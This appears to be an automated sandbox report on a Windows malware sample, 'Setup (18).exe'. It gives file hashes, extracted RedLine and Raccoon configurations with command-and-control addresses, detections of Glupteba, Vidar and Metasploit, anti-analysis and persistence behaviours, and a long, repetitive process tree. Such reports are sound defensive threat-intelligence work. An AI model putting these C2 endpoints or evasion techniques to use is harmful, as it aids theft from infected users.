Resubmissions
15-10-2024 15:36
241015-s1zlzasdkc 1001-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 10Analysis
-
max time kernel
1800s -
max time network
1810s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
01-09-2021 13:18
General
-
Target
Setup (18).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
bratanchikAYE
C2
45.14.49.232:63850
Extracted
Family
redline
Botnet
NORMAN2
C2
45.14.49.184:27587
Extracted
Family
redline
Botnet
1
C2
37.0.8.88:44263
Extracted
Family
metasploit
Version
windows/single_exec
Extracted
Family
raccoon
Botnet
d02c5d65069fc7ce1993e7c52edf0c9c4c195c81
Attributes
-
url4cnc
https://telete.in/open3entershift
rc4.plain
rc4.plain
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 2 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 33 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 20 IoCs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Themida packer 6 IoCs
Detects Themida, an advanced Windows software protection system.
-
Checks whether UAC is enabled 1 TTPs 2 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 62 IoCs
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Kills process with taskkill 6 IoCs
-
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 57 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (18).exe"C:\Users\Admin\AppData\Local\Temp\Setup (18).exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\s3makhtFL4QWL3zXZge3KiZP.exe"C:\Users\Admin\Documents\s3makhtFL4QWL3zXZge3KiZP.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe"C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6940 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 17896 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
